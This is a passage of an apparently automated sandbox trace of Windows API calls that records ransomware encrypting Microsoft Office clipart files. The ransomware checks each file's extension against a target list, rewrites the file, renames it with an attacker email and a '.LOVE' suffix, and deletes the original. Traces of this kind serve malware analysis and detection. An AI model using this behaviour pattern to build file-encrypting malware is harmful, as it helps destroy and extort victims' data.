returned 1 [0207.415] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04134_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04134_.wmf")) returned 1 [0207.415] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04134_.WMF") returned 68 [0207.415] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04134_.WMF") returned 68 [0207.415] lstrlenW (lpString=".doc") returned 4 [0207.415] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0207.415] lstrlenW (lpString=".docx") returned 5 [0207.415] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0207.415] lstrlenW (lpString=".pdf") returned 4 [0207.415] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0207.415] lstrlenW (lpString=".xls") returned 4 [0207.415] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0207.415] lstrlenW (lpString=".xlsx") returned 5 [0207.415] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0207.415] lstrlenW (lpString=".ppt") returned 4 [0207.415] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0207.415] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04134_.WMF") returned 68 [0207.415] lstrlenW (lpString=".zip") returned 4 [0207.415] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0207.415] lstrlenW (lpString=".rar") returned 4 [0207.415] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0207.416] lstrlenW (lpString=".bz2") returned 4 [0207.416] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0207.416] lstrlenW (lpString=".7z") returned 3 [0207.416] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0207.416] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04134_.WMF") returned 68 [0207.416] lstrlenW (lpString=".dbf") returned 4 [0207.416] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0207.416] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04134_.WMF") returned 68 [0207.416] lstrlenW (lpString=".1cd") returned 4 [0207.416] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0207.416] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04134_.WMF") returned 68 [0207.416] lstrlenW (lpString=".jpg") returned 4 [0207.416] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0207.417] GetLastError () returned 0x0 [0207.417] ReadFile (in: hFile=0x354, lpBuffer=0x4199020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x26dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesRead=0x26dfecc*=0xc48, lpOverlapped=0x0) returned 1 [0207.432] WriteFile (in: hFile=0x37c, lpBuffer=0x4199020*, nNumberOfBytesToWrite=0xc50, lpNumberOfBytesWritten=0x26dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesWritten=0x26dfc94*=0xc50, lpOverlapped=0x0) returned 1 [0207.433] ReadFile (in: hFile=0x354, lpBuffer=0x4199020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x26dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesRead=0x26dfecc*=0x0, lpOverlapped=0x0) returned 1 [0207.433] WriteFile (in: hFile=0x37c, lpBuffer=0x4199020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x26dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesWritten=0x26dfc94*=0xec, lpOverlapped=0x0) returned 1 [0207.433] SetEndOfFile (hFile=0x37c) returned 1 [0207.433] CloseHandle (hObject=0x37c) returned 1 [0207.433] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x26dfec0 | out: lpNewFilePointer=0x0) returned 1 [0207.433] SetEndOfFile (hFile=0x354) returned 1 [0207.434] CloseHandle (hObject=0x354) returned 1 [0207.435] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04196_.WMF.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x220) returned 1 [0207.435] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04196_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04196_.wmf")) returned 1 [0207.435] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04196_.WMF") returned 68 [0207.435] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04196_.WMF") returned 68 [0207.435] lstrlenW (lpString=".doc") returned 4 [0207.435] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0207.435] lstrlenW (lpString=".docx") returned 5 [0207.435] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0207.435] lstrlenW (lpString=".pdf") returned 4 [0207.435] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0207.435] lstrlenW (lpString=".xls") returned 4 [0207.435] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0207.435] lstrlenW (lpString=".xlsx") returned 5 [0207.435] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0207.436] lstrlenW (lpString=".ppt") returned 4 [0207.436] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0207.436] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04196_.WMF") returned 68 [0207.436] lstrlenW (lpString=".zip") returned 4 [0207.436] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0207.436] lstrlenW (lpString=".rar") returned 4 [0207.436] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0207.436] lstrlenW (lpString=".bz2") returned 4 [0207.436] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0207.436] lstrlenW (lpString=".7z") returned 3 [0207.436] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0207.436] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04196_.WMF") returned 68 [0207.436] lstrlenW (lpString=".dbf") returned 4 [0207.436] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0207.436] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04196_.WMF") returned 68 [0207.436] lstrlenW (lpString=".1cd") returned 4 [0207.436] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0207.436] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04196_.WMF") returned 68 [0207.436] lstrlenW (lpString=".jpg") returned 4 [0207.436] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0207.437] GetLastError () returned 0x0 [0207.437] ReadFile (in: hFile=0x354, lpBuffer=0x4199020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x26dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesRead=0x26dfecc*=0x1df4, lpOverlapped=0x0) returned 1 [0207.445] WriteFile (in: hFile=0x37c, lpBuffer=0x4199020*, nNumberOfBytesToWrite=0x1e00, lpNumberOfBytesWritten=0x26dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesWritten=0x26dfc94*=0x1e00, lpOverlapped=0x0) returned 1 [0207.446] ReadFile (in: hFile=0x354, lpBuffer=0x4199020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x26dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesRead=0x26dfecc*=0x0, lpOverlapped=0x0) returned 1 [0207.446] WriteFile (in: hFile=0x37c, lpBuffer=0x4199020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x26dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesWritten=0x26dfc94*=0xec, lpOverlapped=0x0) returned 1 [0207.446] SetEndOfFile (hFile=0x37c) returned 1 [0207.446] CloseHandle (hObject=0x37c) returned 1 [0207.446] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x26dfec0 | out: lpNewFilePointer=0x0) returned 1 [0207.447] SetEndOfFile (hFile=0x354) returned 1 [0207.447] CloseHandle (hObject=0x354) returned 1 [0207.448] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04206_.WMF.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x220) returned 1 [0207.448] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04206_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04206_.wmf")) returned 1 [0207.452] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04206_.WMF") returned 68 [0207.452] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04206_.WMF") returned 68 [0207.452] lstrlenW (lpString=".doc") returned 4 [0207.452] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0207.452] lstrlenW (lpString=".docx") returned 5 [0207.452] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0207.452] lstrlenW (lpString=".pdf") returned 4 [0207.452] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0207.452] lstrlenW (lpString=".xls") returned 4 [0207.452] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0207.452] lstrlenW (lpString=".xlsx") returned 5 [0207.452] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0207.452] lstrlenW (lpString=".ppt") returned 4 [0207.452] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0207.452] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04206_.WMF") returned 68 [0207.452] lstrlenW (lpString=".zip") returned 4 [0207.452] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0207.452] lstrlenW (lpString=".rar") returned 4 [0207.452] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0207.452] lstrlenW (lpString=".bz2") returned 4 [0207.452] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0207.452] lstrlenW (lpString=".7z") returned 3 [0207.452] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0207.452] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04206_.WMF") returned 68 [0207.452] lstrlenW (lpString=".dbf") returned 4 [0207.452] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0207.452] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04206_.WMF") returned 68 [0207.453] lstrlenW (lpString=".1cd") returned 4 [0207.453] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0207.453] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04206_.WMF") returned 68 [0207.453] lstrlenW (lpString=".jpg") returned 4 [0207.453] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0207.465] GetLastError () returned 0x0 [0207.465] ReadFile (in: hFile=0x2f0, lpBuffer=0x4199020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x26dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesRead=0x26dfecc*=0x1e7c, lpOverlapped=0x0) returned 1 [0207.572] WriteFile (in: hFile=0x33c, lpBuffer=0x4199020*, nNumberOfBytesToWrite=0x1e80, lpNumberOfBytesWritten=0x26dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesWritten=0x26dfc94*=0x1e80, lpOverlapped=0x0) returned 1 [0207.573] ReadFile (in: hFile=0x2f0, lpBuffer=0x4199020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x26dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesRead=0x26dfecc*=0x0, lpOverlapped=0x0) returned 1 [0207.574] WriteFile (in: hFile=0x33c, lpBuffer=0x4199020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x26dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesWritten=0x26dfc94*=0xec, lpOverlapped=0x0) returned 1 [0207.574] SetEndOfFile (hFile=0x33c) returned 1 [0207.574] CloseHandle (hObject=0x33c) returned 1 [0207.574] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x26dfec0 | out: lpNewFilePointer=0x0) returned 1 [0207.574] SetEndOfFile (hFile=0x2f0) returned 1 [0207.575] CloseHandle (hObject=0x2f0) returned 1 [0207.575] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04235_.WMF.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x220) returned 1 [0207.575] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04235_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04235_.wmf")) returned 1 [0207.576] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04235_.WMF") returned 68 [0207.576] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04235_.WMF") returned 68 [0207.576] lstrlenW (lpString=".doc") returned 4 [0207.576] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0207.576] lstrlenW (lpString=".docx") returned 5 [0207.576] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0207.576] lstrlenW (lpString=".pdf") returned 4 [0207.576] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0207.576] lstrlenW (lpString=".xls") returned 4 [0207.576] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0207.576] lstrlenW (lpString=".xlsx") returned 5 [0207.576] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0207.576] lstrlenW (lpString=".ppt") returned 4 [0207.576] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0207.576] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04235_.WMF") returned 68 [0207.576] lstrlenW (lpString=".zip") returned 4 [0207.576] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0207.576] lstrlenW (lpString=".rar") returned 4 [0207.576] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0207.576] lstrlenW (lpString=".bz2") returned 4 [0207.576] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0207.576] lstrlenW (lpString=".7z") returned 3 [0207.577] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0207.577] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04235_.WMF") returned 68 [0207.577] lstrlenW (lpString=".dbf") returned 4 [0207.577] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0207.577] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04235_.WMF") returned 68 [0207.577] lstrlenW (lpString=".1cd") returned 4 [0207.577] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0207.577] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04235_.WMF") returned 68 [0207.577] lstrlenW (lpString=".jpg") returned 4 [0207.577] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0207.577] GetLastError () returned 0x0 [0207.577] ReadFile (in: hFile=0x2f0, lpBuffer=0x4199020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x26dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesRead=0x26dfecc*=0xd14, lpOverlapped=0x0) returned 1 [0207.628] WriteFile (in: hFile=0x33c, lpBuffer=0x4199020*, nNumberOfBytesToWrite=0xd20, lpNumberOfBytesWritten=0x26dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesWritten=0x26dfc94*=0xd20, lpOverlapped=0x0) returned 1 [0207.629] ReadFile (in: hFile=0x2f0, lpBuffer=0x4199020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x26dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesRead=0x26dfecc*=0x0, lpOverlapped=0x0) returned 1 [0207.629] WriteFile (in: hFile=0x33c, lpBuffer=0x4199020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x26dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesWritten=0x26dfc94*=0xec, lpOverlapped=0x0) returned 1 [0207.629] SetEndOfFile (hFile=0x33c) returned 1 [0207.629] CloseHandle (hObject=0x33c) returned 1 [0207.629] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x26dfec0 | out: lpNewFilePointer=0x0) returned 1 [0207.629] SetEndOfFile (hFile=0x2f0) returned 1 [0207.630] CloseHandle (hObject=0x2f0) returned 1 [0207.630] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04326_.WMF.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x220) returned 1 [0207.630] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04326_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04326_.wmf")) returned 1 [0207.631] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04326_.WMF") returned 68 [0207.631] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04326_.WMF") returned 68 [0207.631] lstrlenW (lpString=".doc") returned 4 [0207.631] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0207.631] lstrlenW (lpString=".docx") returned 5 [0207.631] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0207.631] lstrlenW (lpString=".pdf") returned 4 [0207.631] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0207.631] lstrlenW (lpString=".xls") returned 4 [0207.631] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0207.631] lstrlenW (lpString=".xlsx") returned 5 [0207.631] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0207.631] lstrlenW (lpString=".ppt") returned 4 [0207.631] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0207.631] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04326_.WMF") returned 68 [0207.631] lstrlenW (lpString=".zip") returned 4 [0207.631] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0207.631] lstrlenW (lpString=".rar") returned 4 [0207.631] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0207.631] lstrlenW (lpString=".bz2") returned 4 [0207.631] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0207.632] lstrlenW (lpString=".7z") returned 3 [0207.632] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0207.632] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04326_.WMF") returned 68 [0207.632] lstrlenW (lpString=".dbf") returned 4 [0207.632] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0207.632] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04326_.WMF") returned 68 [0207.632] lstrlenW (lpString=".1cd") returned 4 [0207.632] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0207.632] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04326_.WMF") returned 68 [0207.632] lstrlenW (lpString=".jpg") returned 4 [0207.632] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0207.659] GetLastError () returned 0x0 [0207.659] ReadFile (in: hFile=0x364, lpBuffer=0x4199020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x26dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesRead=0x26dfecc*=0x1384, lpOverlapped=0x0) returned 1 [0207.673] WriteFile (in: hFile=0x368, lpBuffer=0x4199020*, nNumberOfBytesToWrite=0x1390, lpNumberOfBytesWritten=0x26dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesWritten=0x26dfc94*=0x1390, lpOverlapped=0x0) returned 1 [0207.674] ReadFile (in: hFile=0x364, lpBuffer=0x4199020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x26dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesRead=0x26dfecc*=0x0, lpOverlapped=0x0) returned 1 [0207.674] WriteFile (in: hFile=0x368, lpBuffer=0x4199020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x26dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesWritten=0x26dfc94*=0xec, lpOverlapped=0x0) returned 1 [0207.674] SetEndOfFile (hFile=0x368) returned 1 [0207.674] CloseHandle (hObject=0x368) returned 1 [0207.674] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x26dfec0 | out: lpNewFilePointer=0x0) returned 1 [0207.674] SetEndOfFile (hFile=0x364) returned 1 [0207.675] CloseHandle (hObject=0x364) returned 1 [0207.675] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04384_.WMF.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x220) returned 1 [0207.676] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04384_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04384_.wmf")) returned 1 [0207.676] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04384_.WMF") returned 68 [0207.676] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04384_.WMF") returned 68 [0207.676] lstrlenW (lpString=".doc") returned 4 [0207.676] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0207.676] lstrlenW (lpString=".docx") returned 5 [0207.676] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0207.676] lstrlenW (lpString=".pdf") returned 4 [0207.676] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0207.676] lstrlenW (lpString=".xls") returned 4 [0207.676] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0207.676] lstrlenW (lpString=".xlsx") returned 5 [0207.676] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0207.676] lstrlenW (lpString=".ppt") returned 4 [0207.676] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0207.676] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04384_.WMF") returned 68 [0207.676] lstrlenW (lpString=".zip") returned 4 [0207.676] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0207.676] lstrlenW (lpString=".rar") returned 4 [0207.676] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0207.676] lstrlenW (lpString=".bz2") returned 4 [0207.676] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0207.676] lstrlenW (lpString=".7z") returned 3 [0207.676] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0207.676] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04384_.WMF") returned 68 [0207.676] lstrlenW (lpString=".dbf") returned 4 [0207.677] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0207.677] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04384_.WMF") returned 68 [0207.677] lstrlenW (lpString=".1cd") returned 4 [0207.677] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0207.677] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04384_.WMF") returned 68 [0207.677] lstrlenW (lpString=".jpg") returned 4 [0207.677] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0207.677] GetLastError () returned 0x0 [0207.677] ReadFile (in: hFile=0x364, lpBuffer=0x4199020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x26dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesRead=0x26dfecc*=0x138c, lpOverlapped=0x0) returned 1 [0207.696] WriteFile (in: hFile=0x368, lpBuffer=0x4199020*, nNumberOfBytesToWrite=0x1390, lpNumberOfBytesWritten=0x26dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesWritten=0x26dfc94*=0x1390, lpOverlapped=0x0) returned 1 [0207.696] ReadFile (in: hFile=0x364, lpBuffer=0x4199020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x26dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesRead=0x26dfecc*=0x0, lpOverlapped=0x0) returned 1 [0207.696] WriteFile (in: hFile=0x368, lpBuffer=0x4199020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x26dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesWritten=0x26dfc94*=0xec, lpOverlapped=0x0) returned 1 [0207.696] SetEndOfFile (hFile=0x368) returned 1 [0207.700] CloseHandle (hObject=0x368) returned 1 [0207.702] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x26dfec0 | out: lpNewFilePointer=0x0) returned 1 [0207.702] SetEndOfFile (hFile=0x364) returned 1 [0207.737] CloseHandle (hObject=0x364) returned 1 [0207.741] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04385_.WMF.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x220) returned 1 [0207.741] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04385_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04385_.wmf")) returned 1 [0207.762] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04385_.WMF") returned 68 [0207.762] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04385_.WMF") returned 68 [0207.762] lstrlenW (lpString=".doc") returned 4 [0207.762] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0207.762] lstrlenW (lpString=".docx") returned 5 [0207.762] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0207.762] lstrlenW (lpString=".pdf") returned 4 [0207.762] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0207.762] lstrlenW (lpString=".xls") returned 4 [0207.762] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0207.762] lstrlenW (lpString=".xlsx") returned 5 [0207.762] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0207.762] lstrlenW (lpString=".ppt") returned 4 [0207.762] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0207.762] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04385_.WMF") returned 68 [0207.762] lstrlenW (lpString=".zip") returned 4 [0207.762] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0207.762] lstrlenW (lpString=".rar") returned 4 [0207.762] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0207.762] lstrlenW (lpString=".bz2") returned 4 [0207.763] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0207.763] lstrlenW (lpString=".7z") returned 3 [0207.763] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0207.763] lstrlenW (lpString="C:\\Program Files\\Microsoft 